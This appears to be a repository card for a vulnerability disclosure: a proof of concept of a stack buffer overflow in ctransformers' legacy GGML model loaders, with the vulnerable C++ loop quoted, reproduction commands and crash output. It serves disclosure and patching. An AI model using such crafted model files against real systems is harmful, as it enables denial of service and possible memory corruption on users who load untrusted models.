YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ctransformers legacy GGML loader stack buffer overflow (CWE-787) PoC
Proof of concept for a controllable out-of-bounds stack write in ctransformers when loading a
crafted legacy GGML (.ggml, pre-GGUF) model file via the documented public API.
This repository is gated: the crafted files are weaponized inputs. Access is pre-granted to
protectai-bot for huntr review.
What it is
ctransformers/llm.py routes a non-GGUF file with a given model_type to a native per-architecture
loader. For model_type="gpt2" that is gpt2_model_load (models/llms/gpt2.cc):
int32_t n_dims;
fin.read(reinterpret_cast<char *>(&n_dims), sizeof(n_dims)); // gpt2.cc:305 from file, NO bound
int32_t ne[2] = {1, 1}; // gpt2.cc:314 2-element STACK array
for (int i = 0; i < n_dims; ++i) {
fin.read(reinterpret_cast<char *>(&ne[i]), sizeof(ne[i])); // gpt2.cc:316 OOB write for i >= 2
nelements *= ne[i];
}
n_dims is trusted; n_dims > 2 overflows ne[2] on the stack with attacker-controlled file bytes.
The same unguarded pattern is in all seven vendored legacy loaders (gpt2, gptj, mpt, starcoder,
gpt-neox, dolly, replit). The hardened llama-ggml.cpp does check n_dims > 2; that guard was never
propagated to these.
Files
build.pyโ writes a minimal legacy GGML file with a chosen tensorn_dims(overflow words =0x41414141).verify.pyโ child-process differential runner over severaln_dimsvalues.REPORT.txtโ full write-up.
Reproduce (Linux, pip install ctransformers==0.2.27)
python verify.py
# n_dims=2 rc=0 graceful (loader rejects)
# n_dims=32 rc=-11 SIGSEGV
# n_dims=200 rc=-11 SIGSEGV
# n_dims=100000 rc=-11 SIGSEGV
Load path:
from ctransformers import AutoModelForCausalLM
AutoModelForCausalLM.from_pretrained("poc.ggml", model_type="gpt2")
gdb shows the fault in gpt2_model_load -> std::istream::read (the overflow corrupted the on-stack
std::ifstream next to ne[2]; the crafted overflow words are 0x41414141).
Impact
Controllable stack buffer overflow at model-load time on untrusted input. Reliable outcome: process crash (DoS); ceiling: stack memory corruption subject to stack-protector/ASLR.